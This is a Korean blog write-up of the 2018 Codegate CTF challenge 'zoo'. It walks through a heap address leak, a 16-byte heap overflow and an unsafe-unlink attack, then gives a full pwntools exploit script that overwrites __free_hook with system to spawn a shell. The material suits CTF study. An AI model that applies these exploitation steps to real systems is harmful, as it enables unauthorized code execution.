2018 codegate zoo
xxxxxxxxxx
+ 0: owner_name
+ 16: animal1_chunk
+ 24: animal2_chunk
...
+ 48: animal5_chunk
0x40 크기의 owner chunk에서 animal chunk를 관리한다.
xxxxxxxxxx
+ 4 : name
+ 392 : likes
+ 396 : food_removed
+ 400 : food
+ 404 : dung_removed
+ 408 : dung
+ 412 : ill
+ 416 : prescribed medicine
animal chunk는 이외에도 많지만 info 함수에서 확인할 수 있으므로 위 정보만 기억해두고 가면 된다.
animal name에 20바이트만큼 받아 heap addr leak이 가능하다.
(dung - dung_removed + 25) % 25 > 4라면 prescribed medicine을 셋팅해준다.
그 다음부터는 feed 함수 실행 시 food가 아닌 medicine을 먹게 되는데 여기서 medicine name, medicine desc를 입력받는다. medicine desc에서 16byte heap overflow가 나서 next chunk의 prev size, size를 바꿀 수 있다.
animal chunk에서 heap을 할당하여 관리하므로 heap을 대상으로 한 unsafe unlink가 가능하다.
size 셋팅은 아래 구문을 통해 가능하다.
medicine 입력을 받는 곳 위인데 owner chunk 기준으로 next animal chunk의 dung_removed를 넣어준다. 즉 fake chunk의 size 조작이 가능!
unsafe unlink를 수행하고 나면 해당 위치에 fd의 값이 써져있기 때문에
walk 도중에 위 if문으로 들어갈 수 있다.
여기서 *(fd+24)에 값을 쓰기 때문에 arbitrary read, write가 가능해진다.
이걸로 animal species ptr을 덮어서 main arena를 leak한 후 __free_hook을 덮어 쉘을 따면 된다.
from pwn import *
e = ELF('./zoo')
s = process(e.path)
l = ELF('/lib/x86_64-linux-gnu/libc.so.6')
#s = process(e.path, env={'LD_PRELOAD':'./libc.so.6'})
#l = ELF('./libc.so.6')
ru = lambda x: s.recvuntil(x)
def sl(x):
ru('>> ')
s.sendline(x)
p = lambda : pause()
io = lambda : s.interactive()
# 0x555555554000
def menu(sel):
sl(sel)
def tutorial(name):
sl(name)
def adopt(sel, name, toggle=0):
menu('1')
sl(sel)
sl(name)
def feed(name, toggle=0, medicine='', medicine_desc=''):
menu('2')
sl(name)
if toggle:
s.send(medicine)
s.send(medicine_desc)
def clean(name):
menu('3')
sl(name)
def walk(name, toggle=0, msg=''):
menu('4')
sl(name)
if toggle:
sl(msg)
def hospital(name):
menu('5')
sl(name)
def list(name):
menu('6')
sl(name)
def close():
menu('7')
tutorial('seongjo')
adopt('1', 'A'*0x14)
feed('A'*0x14)
ru('A'*0x14)
leak = u64(s.recv(6).ljust(8, '\x00'))
print('leak!: {}'.format(hex(leak)))
heap = leak - 0x680 + 8
print('heap: {}'.format(hex(heap)))
arena = heap + 0xd48
dung = leak + 0x90
name = 'krrr'
adopt('2', name)
for _ in xrange(5):
feed(name)
for _ in xrange(15): # make dung
walk(name)
feed(name)
name2 = 'bjoe'
adopt('3', name2)
for _ in xrange(5):
feed(name2)
for _ in xrange(7): # make dung
walk(name2)
feed(name2)
for _ in xrange(8):
clean(name2)
hospital(name)
for _ in xrange(2):
clean(name)
for _ in xrange(6):
feed(name, 1, 'AAAAAAAA', '\n')
pay = p64(heap-24)
pay2 = p64(heap-16)
pay2 += 'A'*(120-len(pay)-0x10)
pay2 += p64(0x80) + p64(0x90)
feed(name, 1, pay, pay2)
clean(name)
pay = p64(heap-24)
pay += '\x00'*0x40
pay += p64(dung)
pay += p64(dung+0x90)
pay += p64(dung+0x90*2)
pay += p64(dung+0x90*3)
pay += p64(dung+0x90*4)
pay += p64(arena)
walk(name, 1, pay)
list(name)
ru('[-] Species : ')
leak = u64(s.recv(6).ljust(8,'\x00'))
print('leak!: {}'.format(hex(leak)))
libc_base = leak - 0x3c4b78
print('libc_base!: {}'.format(hex(libc_base)))
system = libc_base + l.symbols['system']
print('system!: {}'.format(hex(system)))
__free_hook = libc_base + l.symbols['__free_hook']
print('__free_hook!: {}'.format(hex(__free_hook)))
binsh = libc_base + 0x18cd57
pay = p64(__free_hook-24)
pay += '\x00'* 0x48
pay += p64(dung+0x90)
pay += p64(dung+0x90*2)
pay += p64(binsh)
pay += p64(dung+0x90*4)
pay += p64(arena)
walk(name, 1, pay)
walk(name, 1, p64(system))
walk(name, 1) # shell!
io()
'system > writeup' 카테고리의 다른 글
2019 insomnihack onewrite (0) | 2019.01.27 |
---|---|
2019 codegate god-the-reum (0) | 2019.01.27 |
2018 codegate super marimo (0) | 2019.01.24 |
2018 codegate superftp (0) | 2019.01.23 |
2018 codegate baskinrobins31 (0) | 2019.01.22 |